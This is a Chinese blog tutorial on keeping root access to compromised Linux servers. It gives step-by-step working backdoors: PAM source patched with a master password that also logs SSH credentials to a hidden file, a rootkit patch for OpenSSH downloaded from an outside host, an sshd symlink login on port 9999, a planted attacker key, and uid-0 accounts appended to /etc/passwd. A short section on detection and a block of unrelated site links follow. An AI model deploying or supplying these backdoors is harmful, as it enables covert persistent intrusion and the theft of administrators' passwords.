Linux权限维持—OpenSSHPAM后门SSH软连接公私钥登录

news2024/12/22 19:39:19

Linux权限维持—OpenSSH&PAM后门&SSH软连接&公私钥登录

  • 1. SSH—PAM后门
    • 1.1. 整体流程
    • 1.2. 操作演示
      • 1.2.1. 查看PAM版本
      • 1.2.2. 下载对应版本
        • 1.2.2.1. 解压
      • 1.2.3. 安装依赖
      • 1.2.4. 修改配置
        • 1.2.4.1. 配置内容
        • 1.2.4.2. 编译安装
        • 1.2.4.3. 备份配置
      • 1.2.5. 连接测试
      • 1.2.6. 查看登陆密码
  • 2. OpenSSH后门
    • 2.1. 原理
    • 2.2. 操作演示
      • 2.2.1. 安装依赖
      • 2.2.2. 下载替换包和后门文件
        • 2.2.2.1. 解压包
      • 2.2.3. 安装openssh
        • 2.2.3.1. 编辑密码
        • 2.2.3.2. 安装编译
      • 2.2.4. 重启
      • 2.2.5. 测试登陆
        • 2.2.5.1. 超级密码测试
        • 2.2.5.2. 查看明文密码
    • 2.3. 防范方法
  • 3. SSH软链接
    • 3.1. 操作演示
      • 3.1.1. 查看是否开启pam身份验证
      • 3.1.2. 建立软连接
      • 3.1.3. 测试
  • 4. 公私钥
    • 4.1. 操作演示
      • 4.1.1. 开启
      • 4.1.2. 攻击机生成
      • 4.1.3. 上传目标主机
      • 4.1.4. 登录测试
  • 5. 后门账户
    • 5.1. 方法1
      • 5.1.1. 测试
    • 5.2. 方法2
      • 5.2.1. 测试

1. SSH—PAM后门

  PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

1.1. 整体流程

  1. 获取目标系统所使用的PAM版本,下载对应版本的pam版本
  2. 解压缩,修改pam_unix_auth.c文件,添加万能密码
  3. 编译安装PAM
  4. 编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登陆,将用户名密码记录到文件中。

1.2. 操作演示

  这里采用的是centos7.3版本,同时这里演示的包在github上虽然还能下载,但是在实际的测试过程中,发现已经测试不成功了。

1.2.1. 查看PAM版本

  这里主要看PAM的版本是1.1.8,那么我们去下载PAM包的时候也需要使用对应的1.1.8版本。

setenforce 0    ##关闭防火墙
rpm -qa | grep pam

在这里插入图片描述

1.2.2. 下载对应版本

  这里下载的时候也需要去下载1.1.8,当然你也可以使用wget来进行下载,这里我这里一直解析出错,下载完再上传也是可以的。

https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

在这里插入图片描述

1.2.2.1. 解压

tar -zxvf linux-pam-Linux-PAM-1_1_8.tar.gz

在这里插入图片描述

1.2.3. 安装依赖

  主要需要安装将gcc编译器和flex库。

yum install gcc flex flex-devel -y

在这里插入图片描述

1.2.4. 修改配置

  这里修改配置主要就是将后门以及ssh登陆的账号密码保存进去。

vim linux-pam-Linux-PAM-1_1_8/modules/pam_unix/pam_unix_auth.c 

在这里插入图片描述

1.2.4.1. 配置内容

  将第179行位置的内容中修改成以下内容,这里一定要对其了,如果无法对齐,那么就在本地修改完成后,再上传到目标主机上替换原先的文件即可。

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

在这里插入图片描述

1.2.4.2. 编译安装

  注意到这边就无法编译了,我也不知道,后门我是替换了一个pam的包才成功,虽然网上确实还存在这种利用的手法,但是很多文章都是几年前的了,可能也被淘汰了。

cd linux-pam-Linux-PAM-1_1_8
./configure && make

在这里插入图片描述

1.2.4.3. 备份配置

  备份原有pam_unix.so,防止出现错误登录不上,复制新PAM模块到/lib64/security/目录下。

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

在这里插入图片描述

1.2.5. 连接测试

  可以看到这里是成功连接上去了。

在这里插入图片描述

1.2.6. 查看登陆密码

  由于密码日志文件是被隐藏的,所以可以直接使用cat去查看,这里只要管理者使用ssh进行连接就会记录密码,而这些操作都是无感的,当然若管理员会去定期排查,那么该被发现还是会被发现的,这些都是基于管理员不会定期去排查才能够持久。

cat /tmp/.sshlog

在这里插入图片描述

2. OpenSSH后门

  OpenSSH是SSH(Secure Shell)协议的免费开源实现。很多人误认为OpenSSH与OpenSSL有关联,但实际上这两个计划有不同的目的和不同的发展团队,名称相近只是因为两者有同样的发展目标──提供开放源代码的加密通信软件。

2.1. 原理

  替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能!

2.2. 操作演示

  这里,有一个问题就是,这整个流程过程中,可能会存在失败的情况,这个实验我尝试了三次才成功,并且过程中还是有很多不完美的地方,很容易就会被察觉。

  也说了测试了好几次,所以后面的也不想写了,实在是无语了。

  参考文章

2.2.1. 安装依赖

  这里将一些依赖进行更新安装。

yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make              

在这里插入图片描述

2.2.2. 下载替换包和后门文件

  这里可以手动下载也可以在线下载,如果在线下载出现报错,那就手动下载后再上传。

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

在这里插入图片描述

2.2.2.1. 解压包

tar -xzvf openssh-5.9p1.tar.gz 
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

在这里插入图片描述

2.2.3. 安装openssh

  这里如果出现密钥pahch,那就使用yum安装一下。

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

在这里插入图片描述

2.2.3.1. 编辑密码

  将define SECRETPW后面的修改成自己想要的密码即可。

vim includes.h

在这里插入图片描述

2.2.3.2. 安装编译

  这里要注意一个问题就是,不一定编译就能够成功,有时候根本无法编辑,从网上找的很多资料中,都跳过直接给命令,所以这里我就提前说一下,不一定能够编译成功,不成功再次重新测试,若还是不行,就拉到吧。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

在这里插入图片描述

2.2.4. 重启

  这里重启也可能存在问题,这个实验有时候很莫名其妙的,有时候能够测试成功,有时候测试是不成功的。

systemctl restart sshd.service #重启sshd服务
systemctl status sshd.service #查看ssh启动状态

在这里插入图片描述

2.2.5. 测试登陆

  这里如果ssh没重启成功或者前面测试不成功就会出现,本地的ssh都无法连接。

2.2.5.1. 超级密码测试

  这里我测试使用admin密码是能够登陆的。

ssh root@192.168.10.60

在这里插入图片描述

2.2.5.2. 查看明文密码

cat /tmp/ilog

在这里插入图片描述

2.3. 防范方法

  1. 重装OpenSSH软件,更新至最新版本7.2。
  2. 将SSH默认登录端口22更改为其他端口。
  3. 在IPTable中添加SSH访问策略。
  4. 查看命令历史记录,对可疑文件进行清理。在有条件的情况下,可重做系统。
  5. 修改服务器所有用户的密码为新的强健密码。
  6. 使用strace命令找出SSH后门。
  7. 运行“ps aux | grep sshd”命令获取可疑进程的PID,运行“strace -o aa -ff -p PID”命令进行跟踪,成功登录SSH后,在当前目录下就生成了strace命令的输出。
  8. 使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。
  9. 在上面的命令中,过滤错误信息、/dev/null信息和拒绝(denied)信息,找出打开了读写模式(WR)的文件(因为要把记录的密码写入文件)。
  10. 可以找到以读写方式记录在文件中的SSH后门密码文件的位置,并通过该方法判断是否存在SSH后门。当然,也有不记录密码,而仅仅留下一个万能SSH后门的情况。

3. SSH软链接

  在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。

3.1. 操作演示

  这个操作仅限服务器持续开机状态下进行连接,如果关机了,那么这个后门就无法再次使用了。

3.1.1. 查看是否开启pam身份验证

  这里如果是no可以去这个配置文件中直接去修改,不过需要是root权限哦。

cat /etc/ssh/sshd_config|grep UsePAM

在这里插入图片描述

3.1.2. 建立软连接

  这里建立软连接后,需要将防火墙的端口开放,如果防火墙是关闭的就无所谓了。

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

在这里插入图片描述

3.1.3. 测试

  这里后面的9999是端口,进去随便输入一些密码就可以登录进去了。

ssh root@192.168.10.60 -p 9999   ##-p 后面这个是端口

在这里插入图片描述

4. 公私钥

  原理:利用密钥生成器制作一对密钥即公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。

4.1. 操作演示

  整个流程就是在本地的一台Linux的服务器上生成一个密钥,然后将公密钥上传到目标主机上,然后再使用本地去连接目标主机,就实现无需密码连接。

  但是缺点也有,太容易被发现了。

4.1.1. 开启

  这里可能会有一条命令没有,到时候输入上去就可以了,这里要注意不管是攻击机还是目标机器都需要开启这个验证。

vim /etc/ssh/sshd_config

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

在这里插入图片描述

4.1.2. 攻击机生成

  这里使用攻击机生成密钥。

ssh-keygen -t rsa #三次回车
id_rsa : 私钥
id_rsa.pub : 公钥

在这里插入图片描述

4.1.3. 上传目标主机

  这里将攻击机中的公钥中的内容复制到authorized_keys中。如果本地没有这个文件那就创建一个。

/root/.ssh/authorized_keys

在这里插入图片描述

4.1.4. 登录测试

  这里直接去登录就会发现是不需要使用密码验证的,其实在kali去连接目标主机的时候就已经进行了密钥验证。

ssh root@192.168.10.60

在这里插入图片描述

5. 后门账户

  创建后门账户同样都容易被发现,除非服务器日常都没人巡检,若正常有管理员巡检或者设置的比较严格的,通常都不能保留的时间太长。

5.1. 方法1

  添加账号test1,设置uid为0,密码为123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

在这里插入图片描述

5.1.1. 测试

ssh test1@192.168.10.60

在这里插入图片描述

5.2. 方法2

echo "test2:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd test2 #修改test2的密码为123456

在这里插入图片描述

5.2.1. 测试

ssh test2@192.168.10.60

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/912332.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第10步---MySQL的日志操作

第10步---MySQL的日志操作 错误日志 慢日志 1.查看错误日志 -- 查看日志信息 show VARIABLES like log_error%;2.查看binlog 高版本是默认开启的&#xff0c;低的是默认是不开启的 binlog日志文件是与事务相关 -- 查看binlog日志的格式 show variables like binlog_format;-- …

代码随想录打卡—day24—【回溯】— 基础最新8.20+8.22

1 理论基础 回溯法也可以叫做回溯搜索法&#xff0c;它是一种搜索的方式。回溯算法——回溯和递归是相辅相成的。回溯法的效率&#xff0c;回溯法其实就是暴力查找&#xff0c;并不是什么高效的算法。回溯法解决的问题都可以抽象为树形结构&#xff08;N叉树&#xff09; 1.1…

【数据分享】2006-2021年我国省份级别的节约用水相关指标(免费获取\20多项指标)

《中国城市建设统计年鉴》中细致地统计了我国城市市政公用设施建设与发展情况&#xff0c;在之前的文章中&#xff0c;我们分享过基于2006-2021年《中国城市建设统计年鉴》整理的2006—2021年我国省份级别的市政设施水平相关指标、2006-2021年我国省份级别的各类建设用地面积数…

ArcGIS Serve Windows下用户密码变更导致Server服务无法启动问题

问题&#xff1a; 因未知原因Windows下的Server安装账户密码变更&#xff0c;但是又忘记了密码&#xff0c;导致&#xff0c;Server服务启动失败&#xff0c;错误1069&#xff1a; 解决方法&#xff1a; 在账户管理界面&#xff0c;重置对应的arcgis账户的密码&#xff0c;…

【已解决】Docker启动MySQL容器失败:STATUS:‘ Exited (1) 2 minutes ago ‘,远程连接MySQL连不上问题

先查看正在运行的容器 # 查看正在运行的容器 docker ps # 查看所有的docker容器 docker ps -a 这个时候如果显示的是up状态&#xff0c;那就是启动成功了。 状态为exited&#xff0c;所以没有启动成功。 问题所在 好像是权限的问题 在docker run时额外加上参数 --privileged…

热烈祝贺甘肃峻茂成功入选航天系统采购供应商库

经过航天系统采购平台的严审&#xff0c;甘肃峻茂新材料科技有限公司成功入选中国航天系统采购供应商库。航天系统采购平台是航天系统内企业采购专用平台&#xff0c;服务航天全球范围千亿采购需求&#xff0c;目前&#xff0c;已有华为、三一重工、格力电器、科大讯飞等企业、…

Linux系统USB摄像头测试程序(三)_视频预览

这是在linux上usb摄像头视频预览程序&#xff0c;此程序用到了ffmpeg、sdl2、gtk3组件&#xff0c;程序编译之前应先安装他们。 #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <zconf.h> …

DTCC第3天 优炫软件共享存储多写多读集群数据库隆重发布

8月17日&#xff0c;北京优炫软件股份有限公司在DTCC2023第十四届中国数据库技术大会上&#xff0c;隆重发布优炫软件共享存储多写多读集群&#xff08;SRAC&#xff09;数据库&#xff0c;并开启预约试用。 数据库共享存储多写多读集群是保障重点行业信息系统核心业务连续性的…

通过树莓派上搭建WordPress博客网站,并内外通透远程访问【无公网IP内网穿透】

虎头金猫主页 在强者的眼中&#xff0c;没有最好&#xff0c;只有更好。我们是移动开发领域的优质创作者&#xff0c;同时也是阿里云专家博主。 ✨ 关注我们的主页&#xff0c;探索iOS开发的无限可能&#xff01; &#x1f525;我们与您分享最新的技术洞察和实战经验&#xff…

UG\NX二次开发 创建中心线

文章作者:里海 来源网站:王牌飞行员_里海_里海NX二次开发3000例,C\C++,Qt-CSDN博客 简介: 下面是在制图模块创建中心线的例子,用的是ufun函数。 效果: 代码: #include "me.hpp"#include <stdio.h> #include <string.h> #include <uf.h>…

12.串,串的存储结构与模式匹配算法

目录 一. 一些术语 二. 串的类型定义 &#xff08;1&#xff09;串的顺序存储结构 &#xff08;2&#xff09;串的链式存储结构 三. 串的模式匹配算法 &#xff08;1&#xff09;BF算法 &#xff08;2&#xff09;KMP算法 四. 案例实现 串(String)---零个或多个任意字符…

带你了解SpringBoot---开启Durid 监控(SQL 监控、SQL 防火墙、Web 应用、Session 监控等)

数据库操作–开启Durid 监控 整合Druid 到Spring-Boot 官方文档 使用手册: https://github.com/alibaba/druid 中文手册&#xff1a; https://github.com/alibaba/druid/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98English手册&#xff1a; https://github.com/alibaba/drui…

第十二届钧瓷文化旅游节主题曲:让世界看见钧瓷的魅力

下面是以产业&#xff0c;古镇&#xff0c;营销为主题专门为第十二届钧瓷文化旅游节创作的《让世界看见钧瓷的魅力》的歌词。 古镇千年的沉淀&#xff0c;窑火燃烧的传说 传承着古老的技艺&#xff0c;匠人们用心铸就 钧瓷的魅力&#xff0c;吸引着世界的目光 这里的风景&am…

Gitlab 安装全流程

Version&#xff1a;gitlab-ce:16.2.4-ce.0 简介 Gitlab 是一个开源的 Git 代码仓库系统&#xff0c;可以实现自托管的 Github 项目&#xff0c;即用于构建私有的代码托管平台和项目管理系统。系统基于 Ruby on Rails 开发&#xff0c;速度快、安全稳定。它拥有与 Github 类似…

双碳目标下DNDC模型建模方法及在土壤碳储量、温室气体排放、农田减排、土地变化、气候变化的应用

由于全球变暖、大气中温室气体浓度逐年增加等问题的出现&#xff0c;“双碳”行动特别是碳中和已经在世界范围形成广泛影响。国家领导人在多次重要会议上讲到&#xff0c;要把“双碳”纳入经济社会发展和生态文明建设整体布局。同时&#xff0c;提到要把减污降碳协同增效作为促…

态路小课堂丨光纤合束器介绍

TARLUZ态路 随着激光应用技术的发展&#xff0c;在材料加工、空间光通讯、遥感、激光雷达和光电对抗等诸多领域都需要更高功率、质量以及亮度的激光束。在单根光纤不能达到要求时&#xff0c;就可以通过光纤合束器对单纤激光器进行组束以获得更高功率。态路通信本文简单为您介绍…

聊聊智能眼镜的发展

目录 1.智能眼镜的概念 2.智能眼镜的原理 3.智能眼镜的功能 4.智能眼镜发展趋势 1.智能眼镜的概念 智能眼镜&#xff08;Smart Glasses&#xff09;是一种集成了计算和显示功能的眼镜设备&#xff0c;拥有增强现实&#xff08;AR&#xff09;或虚拟现实&#xff08;VR&…

python判断ip所属地区 python 判断ip 网段

前言 IP地址是互联网中唯一标识一个设备的地址&#xff0c;有时候需要判断一个IP地址所属的地区&#xff0c;这就需要用到IP地址归属查询。本文将介绍Python如何通过IP地址查询所属地区并展示代码。 一、 IP地址归属查询 IP地址归属查询又称IP地址归属地查询、IP地址归属地定…

vue3 报错: ‘defineProps‘ is not defined no-undef

错误 解决方案 修改.eslintrc.js文件&#xff0c;在基根节点添加如下内容&#xff1a; module.exports {globals: {defineProps: readonly,defineEmits: readonly,}, }

热烈祝贺汇隆成功入选航天系统采购供应商库

经过航天系统采购平台的严审&#xff0c;浙江汇隆晶片技术有限公司成功入选中国航天系统采购供应商库。航天系统采购平台是航天系统内企业采购专用平台&#xff0c;服务航天全球范围千亿采购需求&#xff0c;目前&#xff0c;已有华为、三一重工、格力电器、科大讯飞等企业、机…